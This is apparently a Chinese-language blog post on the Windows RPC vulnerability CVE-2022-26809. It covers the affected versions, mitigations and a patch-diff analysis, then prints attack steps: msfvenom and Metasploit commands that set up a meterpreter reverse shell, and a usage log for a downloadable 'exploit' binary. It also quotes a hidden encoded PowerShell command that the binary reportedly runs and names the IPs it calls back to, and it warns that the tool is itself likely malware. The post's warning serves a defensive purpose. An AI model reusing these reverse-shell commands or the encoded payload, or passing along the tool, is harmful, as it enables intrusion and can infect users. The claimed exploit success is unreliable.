CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞

CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞

CVE-2022-26809漏洞描述

CVE-2022-26809 – 核心 Windows 组件 (RPC) 的漏洞获得 9.8 的 CVSS 分数并非没有原因,因为攻击不需要身份验证并且可以通过网络远程执行,并且可能导致远程代码执行 ( RCE) 具有 RPC 服务的权限,这取决于托管 RPC 运行时的进程。运气好的话,这个严重的错误允许访问运行 SMB 的未打补丁的 Windows 主机。该漏洞既可以从网络外部被利用以破坏它,也可以在网络中的机器之间被利用。

评分危急
CVEcve-2022-26809
MITRECVE – CVE-2022-26809 (mitre.org)
CVSSCVSS:3.1 9.8
影响远程代码执行 (RCE)
在野外利用目前未观察到
利用难易程度(如果 PoC 可用)非常低
网络位置TCP/IP 可路由或网络相邻
利用需要进行身份验证不需要
受影响的系统Windows 客户端/服务器操作系统
典型服务端口TCP 135,139,445
供应商补丁可用是的
可在默认 OOB(开箱即用)配置中利用未知
可利用的客户端/服务器被认为是客户端和服务器端可利用的

易受 CVE-2022-26809 影响的 Windows 产品列表

Microsoft Windows Server

  • Windows Server 2022 (server Core installation)
  • Windows Server 2022
  • Windows Server version 20H2 (Server Core installation)
  • Windows Server 2019 (Server Core Installation)
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2016
  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2008 R2 for x64-based System Service Pack 1 (Server Core installation)
  • Windows Server 2008 R2 for x64-based System Service Pack 1
  • Windows Server 2008 for x64-based System Service Pack 2 (Server Core installation)
  • Windows Server 2008 for x64-based System Service Pack 2
  • Windows Server 2008 for 32-bit System Service Pack 2 (Server Core Installation)
  • Windows Server 2008
  • Windows Server 2008 R2 for 32-bit System Service Pack 2 

Microsoft Windows Server

  • Windows Server 2022 (server Core installation)
  • Windows Server 2022
  • Windows Server version 20H2 (Server Core installation)
  • Windows Server 2019 (Server Core Installation)
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2016
  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2008 R2 for x64-based System Service Pack 1 (Server Core installation)
  • Windows Server 2008 R2 for x64-based System Service Pack 1
  • Windows Server 2008 for x64-based System Service Pack 2 (Server Core installation)
  • Windows Server 2008 for x64-based System Service Pack 2
  • Windows Server 2008 for 32-bit System Service Pack 2 (Server Core Installation)
  • Windows Server 2008
  • Windows Server 2008 R2 for 32-bit System Service Pack 2
  • Windows 11 for ARM64-based Systems
  • Windows 11 for x64-based Systems
  • Windows 10 Version 21H2 for ARM64-based Systems
  • Windows 10 Version 21H2 for 32-bit Systems
  • Windows 10 Version 21H2 for x64-based Systems
  • Windows 10 Version 21H1 for ARM64-based Systems
  • Windows 10 Version 21H1 for 32-bit Systems
  • Windows 10 Version 21H1 for x64-based Systems
  • Windows 10 Version 20H2 for ARM64-based Systems
  • Windows 10 Version 20H2 for 32-bit Systems
  • Windows 10 Version 20H2 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1607 for x64-based Systems
  • Windows 10 Version 1607 for 32-bit Systems
  • Windows 10 for x64-based Systems
  • Windows 10 for 32-bit Systems
  • Windows RT 8.1
  • Windows 8.1 for x64-based systems
  • Windows 8.1 for 32-bit systems
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows 7 for 32-bit Systems Service Pack 1

如何修复 CVE-2022-26809 – Windows RPC 运行时中的一个关键 RCE 漏洞?

但是,RPC 利用各种安全机制和控制,建议遵循基于 Microsoft 官方建议的缓解措施。

  1. 应用最新的安全更新来缓解这些漏洞。
  2. 系统使用的设备需要 RPC。对于企业外围以外的服务,建议阻止到 TCP 端口 445 的流量
  3. 通过仅将传入TCP端口 445 启用到需要它的机器(例如打印服务器、域控制器、文件服务器等)来限制横向移动。

受影响的组织需要检查 Microsoft 2022 年 4 月安全更新摘要并应用相关补丁。在此处获取有关 CVE-2022-26809 的更多详细信息。

漏洞分析

CVE 表示,这些漏洞位于 Windows RPC 运行时中,该运行时在名为 rpcrt4.dll 的库中实现。这个运行时库被加载到使用 RPC 协议进行通信的客户端和服务器进程中。我们比较了 10.0.22000.434(3 月)和 10.0.22000.613(已修补)版本,并列出了更改列表。

OSF_SCALL::ProcessResponse 和 OSF_CCALL::ProcessReceivedPDU 函数本质上是相似的;两者都处理 RPC 数据包,但一个在服务器端运行,另一个在客户端运行(SCALL 和 CCALL)。通过区分 OSF_SCALL::ProcessReceivedPDU,我们注意到新版本中添加了两个代码块。

CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞
CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞

查看修补后的代码,我们看到在 QUEUE::PutOnQueue 之后调用了一个新函数。检查新函数并深入研究它的代码,我们发现它检查整数溢出。换句话说,patch 中的新函数被添加来验证整数变量是否保持在预期值范围内。

CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞

深入研究 OSF_SCALL:GetCoalescedBuffer 中的易受攻击代码,我们注意到整数溢出错误可能导致堆缓冲区溢出,其中数据被复制到太小而无法填充的缓冲区。这反过来又允许在堆上将数据写入缓冲区边界之外。当被利用时,这个原语会导致我们远程执行代码!

在其他函数中也添加了相同的用于检查整数溢出的调用:

OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer

整数溢出漏洞和防止它的功能存在于客户端和服务器端执行流程中。

Exploit CVE-2022-26809 exp

第一步:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin

第二步:

msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run

exp用法:

CVE-2022-26809 exp RCE Exploit|远程代码执行漏洞
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!

漏洞利用工具下载:

CVE-2022-26809.exe

项目地址:

GitHub:https://github.com/rkxxz/CVE-2022-26809

注意事项:

文件安全性未知,请放虚拟机中测试!

经测试,运行此工具后powershell会执行如下命令

powershell  -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsAZQBmAGcAcgB2AEYARwBrAEQAVQBxAEMAdwBSAEIAQwBNAGwAcABwADIAZwBhAEQAQwBXACsARABlAFUAVABSAHkAWQArADIAYQBXAGcALwA0AG0ANQBqAG4ATgBuADUAMwA2ADgATQBoAEYAdABtADcAdgBhAGsATwB5AFQATAA3AHEATABxAHEALwBxAHEAcQA3AHQASwB4AC8AeABlADUAegBHAHgAZQBUADkAMABzAEgAQgB2ADQASgBpAFIATQBCAEMAawBRAHUARwA2AEcAVwBwAGMAKwBFAFAANAA5AG4AdgBoADIAbQBRAE0AKwB4AGIATgA4AHUAVgBWADQAVQB2AEMAUwBPAEEASgBlAHMAWQA0ADkAcgA5AGUATABrAHUAVABKAE8ARABFAHgAeQBVAHQANABEAGcATwBJAHgAMwBIAE8AMgBKAGoAQgBtAHEAQgA2AFcATQBXAG0AVABZAFcAUwBMAEQAQgBOAGgAZQArAEYANwA1ADgAaQBSAEsATABFAGwAdQB3AEsAYgBnAFEAMwBDAFMAdwBEADkASQB2AHIAeQBvADEAUABmAFkAbQBuAFAANwBHAFEAZQBJAEwAaQBOAEwAUQBOAGoAbQBFAE4AOAAwAGkATABIAHcAWABsAE4ARAAzAFMAUgA1AGkAZQBWADgAcABsADgAdAAzAHcAZwBRAHoAYwBJAGMAUABFAGcAawBrAHcAbwAvAC8AaABOAFgASABmAGgAaABu

工具会回连如下两个ip地址:

192.10.22.112
20.99.132.105

virustotal分析如下:

https://www.virustotal.com/gui/file/6c676773700c1de750c3f8767dbce9106317396d66a004aabbdd29882435d5e0/summary

切勿在本机运行此工具,等待分析结果再下定论,目前针对此工具有如下四种可能性:

①是病毒,exp无效
②是病毒,exp有效
③不是病毒,exp有效
④不是病毒,exp无效

病毒分析详情:

https://www.joesandbox.com/analysis/629914/0/html

根据恶意样本 检测到在Operation Wilted Tulip- Windows Task中使用的黑客工具作者为:Florian Roth

初步判断,此文件为病毒文件,请各位切勿下载!

转载请注明出处及链接

2 comments

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注